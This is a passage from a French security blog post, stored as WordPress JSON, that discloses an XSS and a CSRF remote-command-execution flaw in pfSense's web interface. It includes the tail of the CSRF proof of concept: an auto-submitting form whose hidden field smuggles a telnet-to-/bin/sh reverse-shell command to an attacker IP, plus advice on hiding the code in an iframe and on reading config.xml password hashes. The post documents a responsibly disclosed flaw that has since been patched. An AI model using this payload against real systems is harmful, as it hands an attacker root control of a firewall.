type=&#8217;hidden&#8217; name=&#8217;kerneltype&#8217; value=&#8217;SMP &amp;amp;amp;gt; \/boot\/kernel\/pfsense_kernel.txt;telnet 192.168.0.141 1337 | \/bin\/sh | telnet 192.168.0.141 1338&#8242; \/&amp;amp;amp;gt;&amp;amp;amp;lt;\/form&amp;amp;amp;gt;&amp;amp;amp;lt;script&amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;lt;\/script&amp;amp;amp;gt;&amp;amp;amp;lt;\/body&amp;amp;amp;gt;&amp;amp;amp;lt;\/html&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/html]<\/p>\n<p>Il ne reste plus qu&#8217;\u00e0 placer ce code sur une page web quelconque (dans une iframe cach\u00e9e pour plus d&#8217;invisibilit\u00e9) et de forcer l&#8217;administrateur l\u00e9gitime \u00e0 s&#8217;y rendre pour exploiter sa session sur pfSense et obtenir le shell.<\/p>\n<p>D\u00e8s que le code de la CSRF s&#8217;est ex\u00e9cut\u00e9 sur la machine de l&#8217;administrateur, la vuln\u00e9rabilit\u00e9 est exploit\u00e9e et le shell est obtenu :<\/p>\n<div id=\"attachment_331\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img4.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-331\" class=\"size-medium wp-image-331\" title=\"Reverse-shell en action au travers de la CSRF\" alt=\"Reverse-shell en action au travers de la CSRF\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img4-300x184.png\" width=\"300\" height=\"184\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img4-300x184.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img4-1024x630.png 1024w, https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img4.png 1355w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-331\" class=\"wp-caption-text\">Reverse-shell en action au travers de la CSRF<\/p><\/div>\n<ol>\n<li>L&#8217;administrateur consulte la page contenant le code de la CSRF (dans l&#8217;exemple la machine de la victime et de l&#8217;attaquant sont les m\u00eames).<\/li>\n<li>Le code malicieux est ex\u00e9cut\u00e9 par l&#8217;administrateur sur le WebGUI de pfSense, qui force pfSense \u00e0 \u00e9tablir un reverse-shell sur l&#8217;IP de l&#8217;attaquant.<\/li>\n<li>Le premier terminal sert \u00e0 l&#8217;attaquant pour entrer ses commandes et le second affiche les r\u00e9sultats de ces commandes.<\/li>\n<\/ol>\n<div>Le PoC de cette vuln\u00e9rabilit\u00e9 est visible au travers de la vid\u00e9o\u00a0initialement\u00a0destin\u00e9e \u00e0 l&#8217;\u00e9quipe de d\u00e9veloppement de pfSense :<\/div>\n<div><\/div>\n<div>[youtube]https:\/\/www.youtube.com\/watch?v=qnmalMrrUF4[\/youtube]<\/div>\n<p>Comme il est d\u00e9crit, l&#8217;obtention du reverse-shell se fait par le biais de deux netcats c\u00f4t\u00e9 attaquant, et deux sessions telnet c\u00f4t\u00e9 pfSense. Bas\u00e9e sur FreeBSD, pfSense dispose de nombreux outils et binaires internes qui permettraient de centraliser ce reverse-shell dans un unique terminal. En effet, netcat est disponible nativement sur pfSense, ainsi que mkfifo et mknod. Toutefois apr\u00e8s maintes syntaxes m\u00ealant netcat (avec ou sans son argument -e \/bin\/sh), mkfifo et\/ou mknod, le reverse-shell ne pouvait s&#8217;\u00e9tablir&#8230; Des erreurs de &#8220;fifo null&#8221; et de politique IPSec bloquaient l&#8217;\u00e9tablissement du shell contrairement \u00e0 la m\u00e9thode via les deux telnet.<\/p>\n<p>Le contr\u00f4le complet du firewall\/router pfSense est ainsi accessible par une personne tierce. De nombreux fichiers sont d&#8217;int\u00e9r\u00eats au sein de cette distribution. C&#8217;est le cas du fichier <strong>\/config\/config.xml<\/strong> qui contient toute la configuration du firewall\/router, ainsi que le hash du mot de passe des comptes utilisateurs (SSH et WebGUI).<\/p>\n<p>Les deux vuln\u00e9rabilit\u00e9s d\u00e9crites au sein de cet article, \u00e0 savoir l&#8217;XSS non-persistante et la CSRF RCE, sont exploitables d\u00e8s lors qu&#8217;un compte utilisateur \u00e0 acc\u00e8s aux deux pages cibl\u00e9es &#8220;<strong>pkg_mgr_install.php<\/strong>&#8221; et &#8220;<strong>system_firmware.php<\/strong>&#8220;. Le WebGUI permet de g\u00e9rer finement des comptes utilisateurs ainsi que leurs droits d&#8217;acc\u00e8s \u00e0 telle ou telle page. Si un simple utilisateur dispose uniquement des droits d&#8217;acc\u00e8s \u00e0 ces pages, alors les\u00a0vuln\u00e9rabilit\u00e9s\u00a0sont exploitables :<\/p>\n<div id=\"attachment_334\" style=\"width: 284px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img5.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-334\" class=\"size-medium wp-image-334\" title=\"Compte utilisateur restreint exploitable\" alt=\"Compte utilisateur restreint exploitable\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img5-274x300.png\" width=\"274\" height=\"300\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img5-274x300.png 274w, https:\/\/www.asafety.fr\/wp-content\/uploads\/pfsense_img5.png 806w\" sizes=\"auto, (max-width: 274px) 100vw, 274px\" \/><\/a><p id=\"caption-attachment-334\" class=\"wp-caption-text\">Compte utilisateur restreint exploitable<\/p><\/div>\n<p>Pour finaliser cet article, pfSense est une solution de grande qualit\u00e9 au niveau des param\u00e9trages disponibles et des m\u00e9canismes optimis\u00e9s qu&#8217;elle met en pratique pour prot\u00e9ger un r\u00e9seau. Toutefois certaines petites faiblesses subsistent permettant de corrompre un tel syst\u00e8me.<\/p>\n<p>Les membres du projet pfSense ont \u00e9t\u00e9 avertis vis-\u00e0-vis des quelques remarques faites au sein de cet article et une <a title=\"Article nouvelle release 2.0.2\" href=\"http:\/\/blog.pfsense.org\/?p=676\">nouvelle release<\/a> a vu le jour le 21 d\u00e9cembre 2012, <a title=\"pfSense 2.0.2\" href=\"http:\/\/www.pfsense.org\/mirror.php?section=downloads\">disponible ici<\/a>.<\/p>\n<p><strong>Edit du 07\/01\/2013 :<\/strong><\/p>\n<ul>\n<li>PackStormSecurity a publi\u00e9 l&#8217;<a title=\"Advisory et PoC\" href=\"http:\/\/packetstormsecurity.com\/files\/119256\/pfsense-xssxsrf.txt\" target=\"_blank\">advisory et le PoC<\/a><\/li>\n<li>ExploitDB a publi\u00e9 l&#8217;<a title=\"Advisory\" href=\"http:\/\/www.exploit-db.com\/exploits\/23901\/\" target=\"_blank\">advisory et le PoC<\/a><\/li>\n<li>OSVDB\u00a0recense\u00a0les d\u00e9tails <a title=\"OSVDB\" href=\"http:\/\/osvdb.org\/creditees\/9115-yann-cam\" target=\"_blank\">ici<\/a><\/li>\n<li>Une <a title=\"Sam Kear\" href=\"http:\/\/samkear.com\/pfsense\/analyzing-pfsense-201-xss-remote-command-execution-exploit\" target=\"_blank\">analyse compl\u00e8te en anglais<\/a> du PoC par Sam Kear a \u00e9t\u00e9 faite<\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>Une vuln\u00e9rabilit\u00e9 de type XSS non-persistante et une CSRF RCE permettant l&#8217;obtention d&#8217;un shell root ont \u00e9t\u00e9 d\u00e9couverte sur pfSense. [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1164,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[59,195,517,165,516,14,515],"tags":[200,206,205,197,208,196,203,17,49,201,204,198,199,34,207],"class_list":["post-326","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administration-reseaux-et-systemes","category-bsd","category-csrf","category-os","category-rce","category-vuln-exploit-poc","category-xss","tag-cross-site-request-forgery","tag-cross-site-scripting","tag-csrfmagic","tag-firewall","tag-netcat","tag-pare-feu","tag-pfsense","tag-php","tag-poc","tag-remote-command-execution","tag-root","tag-router","tag-routeur","tag-shell","tag-telnet"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/326","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=326"}],"version-history":[{"count":22,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/326\/revisions"}],"predecessor-version":[{"id":1652,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/326\/revisions\/1652"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1164"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=326"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=326"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=326"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}